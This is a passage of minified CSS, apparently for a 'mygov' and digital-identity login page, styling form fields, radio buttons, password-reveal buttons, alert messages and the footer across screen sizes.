.std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::after,.unauth form [type="radio"]:checked+label::after{background-color:#254a7e;display:block}.wrapper-mapwap form [type="radio"]:checked+label::after:focus,.unauth form [type="radio"]:checked+label::after:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.override,.unauth form label.override{font-weight:600!important}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{font-size:14px;margin-top:10px}.wrapper-mapwap form span[role="alert"].hasInfo,.wrapper-mapwap form p[role="alert"].hasInfo,.unauth form span[role="alert"].hasInfo,.unauth form p[role="alert"].hasInfo{font-size:16px}.wrapper-mapwap form span[role="alert"].hasInfo a,.wrapper-mapwap form p[role="alert"].hasInfo a,.unauth form span[role="alert"].hasInfo a,.unauth form p[role="alert"].hasInfo a{font-size:16px}.wrapper-mapwap form span[role="alert"] a,.wrapper-mapwap form p[role="alert"] a,.unauth form span[role="alert"] a,.unauth form p[role="alert"] a{font-size:14px}.wrapper-mapwap form label[for="answer"],.unauth form label[for="answer"]{font-weight:600}.wrapper-mapwap form label[for="createQuestion"],.unauth form label[for="createQuestion"]{font-weight:600;display:none}.wrapper-mapwap form label[for="email_add"],.unauth form label[for="email_add"]{display:block;font-size:18px}.wrapper-mapwap form label[for="mobile_no"],.unauth form label[for="mobile_no"]{display:block;font-size:18px}.wrapper-mapwap form label[for="decline-digital-identity"],.wrapper-mapwap form label[for="confirm-digital-identity"],.unauth form label[for="decline-digital-identity"],.unauth form label[for="confirm-digital-identity"]{display:block;font-size:18px}.wrapper-mapwap form input[type="radio"]+label::before,.unauth form input[type="radio"]+label::before{border:2px solid #808080}.wrapper-mapwap form input[type="radio"]+label::before:focus,.unauth form input[type="radio"]+label::before:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form input[type="radio"]:checked+label,.unauth form input[type="radio"]:checked+label{font-weight:600}.wrapper-mapwap form input[type="radio"]:checked+label:focus,.unauth form input[type="radio"]:checked+label:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form a,.unauth form a{font-size:14px}.wrapper-mapwap form a.form-terms-link,.unauth form a.form-terms-link{font-size:18px}.wrapper-mapwap form a.anchor,.unauth form a.anchor{font-size:14px}.wrapper-mapwap .digital-id-login-card,.unauth .digital-id-login-card{background-color:#fff;text-align:center;width:100%;padding:0}.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:600px}.wrapper-mapwap .digital-id-main-login-card,.unauth .digital-id-main-login-card{width:100%;max-width:100%;margin:unset;padding:0}.wrapper-mapwap .digital-id-main-login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.wrapper-mapwap .button-digital-id-main-container,.unauth .button-digital-id-main-container{margin-top:0}.wrapper-mapwap .button-digital-id-container,.unauth .button-digital-id-container{background-color:#fff}.wrapper-mapwap a,.unauth a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.wrapper-mapwap a:hover,.unauth a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.wrapper-mapwap a:focus,.unauth a:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap a.anchor,.unauth a.anchor{background-color:#fff;color:#254a7e;text-decoration:underline;font-size:18px}.wrapper-mapwap a.anchor:hover,.unauth a.anchor:hover{text-decoration:none;background-color:#fff;color:#254a7e}.wrapper-mapwap a.anchor:focus,.unauth a.anchor:focus{outline:4px solid #183052;outline-offset:2px;color:#254a7e}.wrapper-mapwap a.anchor.left-facing-arrow,.unauth a.anchor.left-facing-arrow{position:relative;left:1em}.wrapper-mapwap a.anchor.left-facing-arrow .go-back-text,.unauth a.anchor.left-facing-arrow .go-back-text{margin-left:.5em}.wrapper-mapwap a.anchor.left-facing-arrow::before,.unauth a.anchor.left-facing-arrow::before{content:'';display:block;top:1.2em;width:.75em;height:.75em;position:relative;left:-1em;background-repeat:no-repeat;background-position:left;background-size:.64em auto;color:#254a7e;background-image:url("../icons/link-arrow.svg");-webkit-transform:scaleX(-1);transform:scaleX(-1)}.wrapper-mapwap .button-main,.wrapper-mapwap .button-digital-identity,.unauth .button-main,.unauth .button-digital-identity{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-main:hover,.wrapper-mapwap .button-digital-identity:hover,.unauth .button-main:hover,.unauth .button-digital-identity:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap .button-main:focus,.wrapper-mapwap .button-digital-identity:focus,.unauth .button-main:focus,.unauth .button-digital-identity:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap .button-secondary,.wrapper-mapwap .button-minor,.unauth .button-secondary,.unauth .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.wrapper-mapwap .button-secondary:hover,.wrapper-mapwap .button-minor:hover,.unauth .button-secondary:hover,.unauth .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.wrapper-mapwap .button-secondary:focus,.wrapper-mapwap .button-minor:focus,.unauth .button-secondary:focus,.unauth .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword,.unauth button.showPassword{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;border-top:2px solid #808080;border-top:.125rem solid #808080;border-right:2px solid #808080;border-right:.125rem solid #808080;border-bottom:2px solid #808080;border-bottom:.125rem solid #808080;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0;min-width:-webkit-fit-content;min-width:-moz-fit-content;min-width:fit-content;background-color:#fff;color:#254a7e;text-decoration:underline;font-size:16px;font-weight:500}.wrapper-mapwap button.showPassword:hover,.unauth button.showPassword:hover{text-decoration:none;background-color:#183052;color:#fff}.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.unauth button.showPassword:hover,.unauth button.showPassword:focus{background-color:#254a7e;color:#fff;text-decoration:underline;outline:4px solid #183052;outline-offset:2px;border-top:2px solid #254a7e;border-top:.125rem solid #254a7e;border-right:2px solid #254a7e;border-right:.125rem solid #254a7e;border-bottom:2px solid #254a7e;border-bottom:.125rem solid #254a7e;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.wrapper-mapwap .digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line {line-height:1.33333}.secondary .wrapper-mapwap h2:first-of-type,.secondary .wrapper-mapwap .display:first-of-type,.secondary #inner-content h2:first-of-type,.secondary #inner-content .display:first-of-type,.secondary .unauth h2:first-of-type,.secondary .unauth .display:first-of-type{margin-top:36px;margin-top:2.25rem;margin-bottom:12px;margin-bottom:.75rem}.wrapper-mapwap a.button-back::before,#inner-content a.button-back::before,.unauth a.button-back::before{top:-1.8px;top:-0.1125rem;left:-20px;left:-1.25rem;background-size:12px;background-size:.75rem;width:12px;width:.75rem;background-image:url("../icons/blugov-left-chevron-dark.svg");right:unset}.wrapper-mapwap p.login-instruction-text,#inner-content p.login-instruction-text,.unauth p.login-instruction-text{margin-top:0;color:#333}.wrapper-mapwap .login-grid-container,#inner-content .login-grid-container,.unauth .login-grid-container{margin-top:65px;margin-top:4.0625rem}.wrapper-mapwap .login-grid-container .button-back,#inner-content .login-grid-container .button-back,.unauth .login-grid-container .button-back{margin-top:0;line-height:1.5}.wrapper-mapwap #mygov-login-form.alternative,#inner-content #mygov-login-form.alternative,.unauth #mygov-login-form.alternative{margin-left:0;margin-right:0}.wrapper-mapwap .help-info-button,.wrapper-mapwap .help-info,.wrapper-mapwap #inner-content .help-info,#inner-content .wrapper-mapwap .help-info,#inner-content .help-info-button,#inner-content .help-info,.unauth .help-info-button,.unauth #inner-content .help-info,#inner-content .unauth .help-info,.unauth .help-info{font-size:16px;font-size:1rem;font-weight:500;border:0;text-decoration:underline}.wrapper-mapwap .help-info-button::after,.wrapper-mapwap .help-info::after,.wrapper-mapwap #inner-content .help-info::after,#inner-content .wrapper-mapwap .help-info::after,#inner-content .help-info-button::after,#inner-content .help-info::after,.unauth .help-info-button::after,.unauth #inner-content .help-info::after,#inner-content .unauth .help-info::after,.unauth .help-info::after{width:16px;width:1rem;height:11px;height:.6875rem;right:-20px;right:-1.25rem;background-size:contain;background-position:center;bottom:0;top:0;margin:auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg")}.wrapper-mapwap .help-info-button[aria-expanded="true"]::after,.wrapper-mapwap [aria-expanded="true"].help-info::after,.wrapper-mapwap #inner-content [aria-expanded="true"].help-info::after,#inner-content .wrapper-mapwap [aria-expanded="true"].help-info::after,#inner-content .help-info-button[aria-expanded="true"]::after,#inner-content [aria-expanded="true"].help-info::after,.unauth .help-info-button[aria-expanded="true"]::after,.unauth #inner-content [aria-expanded="true"].help-info::after,#inner-content .unauth [aria-expanded="true"].help-info::after,.unauth [aria-expanded="true"].help-info::after{right:-20px;right:-1.25rem;top:0;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:10px 16px 16px;padding:.625rem 1rem 1rem;font-size:16px;font-size:1rem;margin-bottom:20px;margin-bottom:1.25rem;border-left-width:2px;border-left-width:.125rem;line-height:1.25;color:#101820;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg::first-line ,.wrapper-mapwap .error-msg::first-line ,#inner-content .success-msg::first-line ,#inner-content .error-msg::first-line ,.unauth .success-msg::first-line ,.unauth .error-msg::first-line {line-height:1.3125}.wrapper-mapwap .success-msg:before,.wrapper-mapwap .error-msg:before,#inner-content .success-msg:before,#inner-content .error-msg:before,.unauth .success-msg:before,.unauth .error-msg:before{width:24px;width:1.5rem;height:24px;height:1.5rem;top:29px;top:1.8125rem;left:-37px;left:-2.3125rem;background-size:contain;-webkit-transform:none;transform:none}.wrapper-mapwap .success-msg strong,.wrapper-mapwap .error-msg strong,#inner-content .success-msg strong,#inner-content .error-msg strong,.unauth .success-msg strong,.unauth .error-msg strong{margin-bottom:3px;margin-bottom:.1875rem}.wrapper-mapwap .success-msg *,.wrapper-mapwap .success-msg a,.wrapper-mapwap .success-msg a.anchor,.wrapper-mapwap .success-msg .error-msg-text *,.wrapper-mapwap .success-msg .error-msg-text a,.wrapper-mapwap .success-msg .error-msg-text a.anchor,.wrapper-mapwap .success-msg .success-msg-text *,.wrapper-mapwap .success-msg .success-msg-text a,.wrapper-mapwap .success-msg .success-msg-text a.anchor,.wrapper-mapwap .error-msg *,.wrapper-mapwap .error-msg a,.wrapper-mapwap .error-msg a.anchor,.wrapper-mapwap .error-msg .error-msg-text *,.wrapper-mapwap .error-msg .error-msg-text a,.wrapper-mapwap .error-msg .error-msg-text a.anchor,.wrapper-mapwap .error-msg .success-msg-text *,.wrapper-mapwap .error-msg .success-msg-text a,.wrapper-mapwap .error-msg .success-msg-text a.anchor,#inner-content .success-msg *,#inner-content .success-msg a,#inner-content .success-msg a.anchor,#inner-content .success-msg .error-msg-text *,#inner-content .success-msg .error-msg-text a,#inner-content .success-msg .error-msg-text a.anchor,#inner-content .success-msg .success-msg-text *,#inner-content .success-msg .success-msg-text a,#inner-content .success-msg .success-msg-text a.anchor,#inner-content .error-msg *,#inner-content .error-msg a,#inner-content .error-msg a.anchor,#inner-content .error-msg .error-msg-text *,#inner-content .error-msg .error-msg-text a,#inner-content .error-msg .error-msg-text a.anchor,#inner-content .error-msg .success-msg-text *,#inner-content .error-msg .success-msg-text a,#inner-content .error-msg .success-msg-text a.anchor,.unauth .success-msg *,.unauth .success-msg a,.unauth .success-msg a.anchor,.unauth .success-msg .error-msg-text *,.unauth .success-msg .error-msg-text a,.unauth .success-msg .error-msg-text a.anchor,.unauth .success-msg .success-msg-text *,.unauth .success-msg .success-msg-text a,.unauth .success-msg .success-msg-text a.anchor,.unauth .error-msg *,.unauth .error-msg a,.unauth .error-msg a.anchor,.unauth .error-msg .error-msg-text *,.unauth .error-msg .error-msg-text a,.unauth .error-msg .error-msg-text a.anchor,.unauth .error-msg .success-msg-text *,.unauth .error-msg .success-msg-text a,.unauth .error-msg .success-msg-text a.anchor{line-height:inherit;font-size:inherit}.wrapper-mapwap .success-msg .error-msg-text,.wrapper-mapwap .success-msg .success-msg-text,.wrapper-mapwap .error-msg .error-msg-text,.wrapper-mapwap .error-msg .success-msg-text,#inner-content .success-msg .error-msg-text,#inner-content .success-msg .success-msg-text,#inner-content .error-msg .error-msg-text,#inner-content .error-msg .success-msg-text,.unauth .success-msg .error-msg-text,.unauth .success-msg .success-msg-text,.unauth .error-msg .error-msg-text,.unauth .error-msg .success-msg-text{-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .error-msg-text>span>strong,.wrapper-mapwap .success-msg .success-msg-text>span>strong,.wrapper-mapwap .error-msg .error-msg-text>span>strong,.wrapper-mapwap .error-msg .success-msg-text>span>strong,#inner-content .success-msg .error-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,#inner-content .error-msg .success-msg-text>span>strong,.unauth .success-msg .error-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong,.unauth .error-msg .success-msg-text>span>strong{padding:8px 16px 7px;padding:.5rem 1rem .4375rem;margin-left:-16px;margin-left:-1rem;margin-right:-16px;margin-right:-1rem;margin-top:-10px;margin-top:-0.625rem;margin-bottom:10px;margin-bottom:.625rem;font-size:15px;font-size:.9375rem;min-height:34px;min-height:2.125rem;font-weight:500;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg .error-msg-text>span>strong:before,.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,.wrapper-mapwap .error-msg .success-msg-text>span>strong:before,#inner-content .success-msg .error-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .success-msg-text>span>strong:before,.unauth .success-msg .error-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .success-msg-text>span>strong:before{width:16px;width:1rem;height:16px;height:1rem;margin-right:6px;margin-right:.375rem;content:"";display:block;background-repeat:no-repeat;background-position:center;background-size:contain}.wrapper-mapwap .success-msg .error-msg-text>span>strong+br,.wrapper-mapwap .success-msg .success-msg-text>span>strong+br,.wrapper-mapwap .error-msg .error-msg-text>span>strong+br,.wrapper-mapwap .error-msg .success-msg-text>span>strong+br,#inner-content .success-msg .error-msg-text>span>strong+br,#inner-content .success-msg .success-msg-text>span>strong+br,#inner-content .error-msg .error-msg-text>span>strong+br,#inner-content .error-msg .success-msg-text>span>strong+br,.unauth .success-msg .error-msg-text>span>strong+br,.unauth .success-msg .success-msg-text>span>strong+br,.unauth .error-msg .error-msg-text>span>strong+br,.unauth .error-msg .success-msg-text>span>strong+br{display:none}}@media screen and (min-width:768px){.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:14px 27px;padding:.875rem 1.6875rem;border-left-width:53px;border-left-width:3.3125rem;min-height:97px;min-height:6.0625rem;margin-bottom:37px;margin-bottom:2.3125rem}}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .success-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong{background-color:#1a9f50}.wrapper-mapwap .success-msg 